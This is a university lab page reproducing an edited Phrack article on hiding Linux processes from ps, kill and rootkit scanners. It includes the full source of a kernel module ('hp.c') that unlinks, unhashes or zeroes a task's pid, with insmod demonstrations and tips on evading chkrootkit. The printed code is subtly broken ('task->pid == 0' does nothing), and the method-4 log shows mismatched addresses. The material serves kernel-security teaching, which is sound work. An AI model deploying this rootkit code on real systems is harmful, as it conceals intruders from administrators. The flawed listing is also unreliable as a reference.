Osc:lab-02-phrack paper
From SOFTICE
|
This page contains an edited version of the Phrack article used as main reference in OSC:Stealth Processes & PCBs (Removed the parts not explored in the laboratory and editted out some stuff with a <snip> tag).
The original text is available at
- The Phrack web site http://www.phrack.org/phrack/63/p63-0x12_Process_Hiding_and_The_Linux_Scheduler.txt
while reading keep in mind that although the techniques described herein were still efficiently applied to a 2.6.16.20-um kernel version, the reference to code location and their contents have evolved significantly since the publication of this article. It is a good exercise to follow this work and update it as you progress by researching, using one of the available online kernel code browsers (LXR, Gonzui, Original LXR), the new version of these code exerpts and understand how they work.
==Phrack Inc.==
Volume 0x0b, Issue 0x3f, Phile #0x12 of 0x14
|=------=[ hiding processes ( understanding the linux scheduler ) ]=----=|
|=-----------------------------------------------------------------------=|
|=------------=[ by ubra from PHI Group -- 17 October 2004 ]=-----------=|
|=-----=[ mail://ubra_phi.group.za.org http://w3.phi.group.za.org ]=----=|
--[ Table of contents
1 - looking back
2 - the schedule(r) inside
3 - abusing the silence ( attacking )
4 - can you scream ? ( countering )
5 - references
6 - and the game dont stop..
7 - sources
[edit]
--[ 3 - abusing the silence ( attacking )
<snip> Since the linked list and pidhash have no use to the scheduler,
a program, a task in general (kernel threads also) can run happy w/o them.
So we remove it from there with REMOVE_LINKS/unhash_pid and if youve been
a happy hacker looking at all of the sources ive listed you know by now
what these 2 functions do.
All that will suffer from this operation is the IPC methods (Inter Process
Comunications); heh well were invisible why <snip> would we answer if
someone asks "is someone there ?" :) however since only the linked list is
used to output in ps and alike we could leave pidhash untouched so that
kill/ptrace/timers.. will work as usualy. but i dont see why would anyone
want this as a simple bruteforce of the pid space with kill(pid,0) can
uncover you.. See pisu program that i made that does just that but using 76
syscalls besides kill that "leak" pid info from the two list structures. So
you get the picture, right ?
hp.c is a simple module to hide a task:
[root@absinth ksched]# gcc -c -I/$LINUXSRC/include src/hp.c -o src/hp.o
[Method 1]
Now to show you what happends when we unlink the process from certain
lists; first from the linked list
[root@absinth ksched]# ps aux | grep sleep
root 1129 0.0 0.5 1848 672 pts/4 S 22:00 0:00 sleep 666
root 1131 0.0 0.4 1700 600 pts/2 R 22:00 0:00 grep sleep
[root@absinth ksched]# insmod hp.o pid=`pidof sleep` method=1
hp.o: init_module: Device or resource busy
Hint: insmod errors can be caused by incorrect module parameters,
including invalid IO or IRQ parameters
You may find more information in syslog or the output from dmesg
[root@absinth ksched]# tail -2 /var/log/messages
Mar 13 22:02:50 absinth kernel: [HP] address of task struct for pid
1129 is 0xc0f44000
Mar 13 22:02:50 absinth kernel: [HP] removing process links
[root@absinth ksched]# ps aux | grep sleep
root 1140 0.0 0.4 1700 608 pts/2 S 22:03 0:00 grep sleep
[root@absinth ksched]# insmod hp.o task=0xc0f44000 method=1
hp.o: init_module: Device or resource busy
Hint: insmod errors can be caused by incorrect module parameters,
including invalid IO or IRQ parameters
You may find more information in syslog or the output from dmesg
[root@absinth ksched]# tail -1 /var/log/messages
Mar 13 22:03:53 absinth kernel: [HP] unhideing task at addr 0xc0f44000
Mar 13 22:03:53 absinth kernel: [HP] setting process links
[root@absinth ksched]# ps aux | grep sleep
root 1129 0.0 0.5 1848 672 pts/4 S 22:00 0:00 sleep 666
root 1143 0.0 0.4 1700 608 pts/2 S 22:04 0:00 grep sleep
[root@absinth ksched]#
[Method 2] (actualy an added enhacement to method 1)
Point made. Now from the hash list
[root@absinth ksched]# insmod hp.o pid=`pidof sleep` method=2
hp.o: init_module: Device or resource busy
Hint: insmod errors can be caused by incorrect module parameters,
including invalid IO or IRQ parameters
You may find more information in syslog or the output from dmesg
[root@absinth ksched]# tail -2 /var/log/messages
Mar 13 22:07:04 absinth kernel: [HP] address of task struct for pid 1129
is 0xc0f44000
Mar 13 22:07:04 absinth kernel: [HP] unhashing pid
[root@absinth ksched]# insmod hp.o task=0xc0f44000 method=2
hp.o: init_module: Device or resource busy
Hint: insmod errors can be caused by incorrect module parameters,
including invalid IO or IRQ parameters
You may find more information in syslog or the output from dmesg
[root@absinth ksched]# tail -1 /var/log/messages
Mar 13 22:07:18 absinth kernel: [HP] unhideing task at addr 0xc0f44000
Mar 13 22:07:18 absinth kernel: [HP] hashing pid
[root@absinth ksched]# kill -9 1129
[root@absinth ksched]#
So upon removing from the hash list the process also becomes invulnerable
to kill signals and any other syscalls that use the hash list for that
matter. This also hides your task from methods of uncovering like
kill(pid,0) which chkrootkit [10] uses.
* methods 1 and 2 arent that good at hideing shells since most have builtin
job control and that requires a working find_task_by_pid() and
for_each_task() (look at sys_setpgid() sources), however, if you know how
to disable that it works just fine :P ok ill give you a hint, make the
standard output/input not a terminal.
[Method 3]
But this is kids stuff; lets abuse the way the function that generates the
pid list for the /proc VFS works.
<codesnip src="fs/proc/base.c" line=1057>
static int get_pid_list(int index, unsigned int *pids)
{
.......
for_each_task(p) {
.......
if (!pid)
continue;
</codesnip src="fs/proc/base.c">
Have you spoted the not ? :-) cmon its easy, just make our pid 0 and we
wont get listed (pid 0 tasks are of a special kernel breed and thats why
they dont get listed there - actualy the kernel itself, the first "task"
and its cloned children like the swapper); also since we are changing the
pid but not rehashing the pid position in the hash list all searches for
pid 0 will go to the wrong hash and all searches for our old pid will
find a task with a pid of 0, well it will fail each time. An interesting
side effect of having pid 0 is that the task can call clone() [11] with a
flag of CLONE_PID, effectively spawning hidden children as well;
aint that a threat? The old pid can be recovered from tgid member of the
task_struct since getpid() does it so can we, and moreover this method
is so safe to do from user space since we arent complicating with
possible race conditions screwing with the task list pointers. Well safe
as long as your process doesnt exit as we are just changing its pid..
<codesnip src="kernel/timer.c" line=710>
asmlinkage long sys_getpid(void)
{
/* This is SMP safe - current->pid doesn't change */
return current->tgid;
}
</codesnip src="kernel/timer.c">
btw if we change only the pid to 0 there will be no danger that another
process migth be assigned the same pid we _had_ because in the get_pid()
func theres a check for tgid also, which we leave untouched and use to
restore the pid (just read the source for hp.c)
[root@absinth ksched]# ps aux | grep sleep
root 1991 0.2 0.5 1848 672 pts/7 S 19:13 0:00 sleep 666
root 1993 0.0 0.4 1700 608 pts/6 S 19:13 0:00 grep sleep
[root@absinth ksched]# insmod hp.o pid=`pidof sleep` method=4
hp.o: init_module: Device or resource busy
Hint: insmod errors can be caused by incorrect module parameters,
including invalid IO or IRQ parameters
You may find more information in syslog or the output from dmesg
[root@absinth ksched]# tail -2 /var/log/messages
Mar 16 19:14:07 absinth kernel: [HP] address of task struct for pid 1991
is 0xc30f0000
Mar 16 19:14:07 absinth kernel: [HP] zerofing pid
[root@absinth ksched]# ps aux | grep sleep
root 1999 0.0 0.4 1700 600 pts/6 R 19:14 0:00 grep sleep
[root@absinth ksched]# kill -9 1991
bash: kill: (1991) - No such process
[root@absinth ksched]# insmod hp.o task=0xc30f0000 method=4
hp.o: init_module: Device or resource busy
Hint: insmod errors can be caused by incorrect module parameters,
including invalid IO or IRQ parameters
You may find more information in syslog or the output from dmesg
[root@absinth ksched]# tail -1 /var/log/messages
Mar 16 19:14:47 absinth kernel: [HP] unhideing task at addr 0xc0f44000
Mar 16 19:14:47 absinth kernel: [HP] reverting zero pid to 1991
[root@absinth ksched]# ps aux | grep sleep
root 1991 0.0 0.5 1848 672 pts/7 S 19:13 0:00 sleep 666
[root@absinth ksched]#
See how cool is this? I might say that all this article is about is
zerofing pids in task_structs :-)
(and you only have to change 2 bytes at most to hide a process !)
* your task should never call exit when having pid 0 or it will suck from
do_exit which is called by sys_exit
<codesnip src="kernel/exit.c" line=480>
NORET_TYPE void do_exit(long code)
{
.......
if (!tsk->pid)
panic("Attempted to kill the idle task!");
<codesnip src="kernel/exit.c">
That is if you hide your shell like this be sure to unhide it (set its pid
to something) before you `exit`.. or , dont mind me and exit the whole
system hehe. In a compromised environment do_exit could have that
particular part overwritten with nops (no operation instruction - an
asm op code that does nothing).
You can use for the method field when insmoding hp.o any combination of the
3 bit flags presented
[edit]
--[ 5 - references
[1] manual pages for ps(1) , top(1) , pstree(1) and the proc(5) interface
http://linux.com.hk/PenguinWeb/manpage.jsp?section=1&name=ps
http://linux.com.hk/PenguinWeb/manpage.jsp?section=1&name=top
http://linux.com.hk/PenguinWeb/manpage.jsp?section=1&name=pstree
http://linux.com.hk/PenguinWeb/manpage.jsp?section=5&name=proc
[2] LRK - Linux Root Kit
by Lord Somer <webmaster@lordsomer.com>
http://packetstormsecurity.org/UNIX/penetration/rootkits/lrk5.src.tar.gz
[3] LKM HACKING
by pragmatic from THC
http://reactor-core.org/linux-kernel-hacking.html
[4] Syscall redirection without modifying the syscall table
by Silvio Cesare <silvio@big.net.au>
http://www.big.net.au/~silvio/stealth-syscall.txt
http://spitzner.org/winwoes/mtx/articles/syscall.htm
[5] Phrack 59/0x04 - Handling the Interrupt Descriptor Table
by kad <kadamyse@altern.org>
http://www.phrack.org/show.php?p=59&a=4
[6] Phrack 61/0x0e - Kernel Rootkit Experiences
by stealth <stealth@segfault.net>
http://www.phrack.org/show.php?p=61&a=14
[7] Linux kernel internals #Process and Interrupt Management
by Tigran Aivazian <tigran@veritas.com>
http://www.tldp.org/LDP/lki/lki.html
[8] Scheduling in UNIX and Linux
by moz <moz@compsoc.man.ac.uk>
http://www.kernelnewbies.org/documents/schedule/
[9] KernelAnalysis-HOWTO #Linux Multitasking
by Roberto Arcomano <berto@fatamorgana.com>
http://www.tldp.org/HOWTO/KernelAnalysis-HOWTO.html
[10] chkrootkit - CHecK ROOT KIT
by Nelson Murilo <nelson@pangeia.com.br>
http://www.chkrootkit.org/
[11] manual page for clone(2)
http://linux.com.hk/PenguinWeb/manpage.jsp?section=2&name=clone
[12] manual page for ptrace(2)
http://linux.com.hk/PenguinWeb/manpage.jsp?section=2&name=ptrace
[edit]
--[ 6 - and the game dont stop..
<snip> octavian, trog, slider, raven and everyone else I keep
close with, thanks for being there and wasteing time with me, sometimes I
really need that ; ruffus , nirolf and vadim wtf lets get the old team on
again .. <snip> dudes.
If you notice any typos, mistakes, have anything to communicate with
me feel free make contact.
web - w3.phi.group.eu.org
mail - ubra_phi.group.eu.org
irc - Efnet/Undernet #PHI
* the contact info and web site is and will not be valid/up for a few
weeks while im moving house, sorry ill get things settled ASAP ( that
is up until about august of 2005 ), meanwhile you can get in touch
with me on the email dragosg_personal.ro
[edit]
--[ 7 - sources
[edit]
src/Makefile
all: sht.c hp.c gcc -c -I/EDIT_HERE_YOUR_LINUX_SOURCE_TREE/linux/include sht.c hp.c
[edit]
src/hp.c
/*|
* hp - hide pid v1.0.0
* hides a pid using different methods
* ( demo code for hideing processes paper )
*
* syntax : insmod hp.o (pid=pid_no|task=task_addr) [method=0x1|0x2|0x4]
*
* coded in 2004 by ubra from PHI Group
* web - ubra.phi.group.za.org
* mail - ubra_phi.group.za.org
* irc - Efnet/Undernet#PHI
|*/
#define __KERNEL__
#define MODULE
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/sched.h>
pid_t pid = 0 ;
struct task_struct *task = 0 ;
unsigned char method = 0x3 ;
int init_module ( ) {
if ( pid ) {
task = find_task_by_pid(pid) ;
printk ( "[HP] address of task struct for pid %i is 0x%p\n" , pid , task ) ;
if ( task ) {
write_lock_irq(&tasklist_lock) ;
if ( method & 0x1 ) {
printk("[HP] removing process links\n") ;
REMOVE_LINKS(task) ;
}
if ( method & 0x2 ) {
printk("[HP] unhashing pid\n") ;
unhash_pid(task) ;
}
if ( method & 0x4 ) {
printk("[HP] zerofing pid\n") ;
task->pid == 0 ;
}
write_unlock_irq(&tasklist_lock) ;
}
} else if ( task ) {
printk ( "[HP] unhideing task at addr 0x%x\n" , task ) ;
write_lock_irq(&tasklist_lock) ;
if ( method & 0x1 ) {
printk("[HP] setting process links\n") ;
SET_LINKS(task) ;
}
if ( method & 0x2 ) {
printk("[HP] hashing pid\n") ;
hash_pid(task) ;
}
if ( method & 0x4 ) {
printk ( "[HP] reverting 0 pid to %i\n" , task->tgid ) ;
task->pid = task->tgid ;
}
write_unlock_irq(&tasklist_lock) ;
}
return 1 ;
}
MODULE_PARM ( pid , "i" ) ;
MODULE_PARM_DESC ( pid , "the pid to hide" ) ;
MODULE_PARM ( task , "l" ) ;
MODULE_PARM_DESC ( task , "the address of the task struct to unhide" ) ;
MODULE_PARM ( method , "b" ) ;
MODULE_PARM_DESC ( method , "a bitwise OR of the method to use , 0x1 - linked list , 0x2 - pidhash , 0x4 - zerofy pid" ) ;
MODULE_AUTHOR("ubra @ PHI Group") ;
MODULE_DESCRIPTION("hp - hide pid v1.0.0 - hides a task with 3 possible methods") ;
MODULE_LICENSE("GPL") ;
EXPORT_NO_SYMBOLS ;
|=[ EOF ]=---------------------------------------------------------------=|

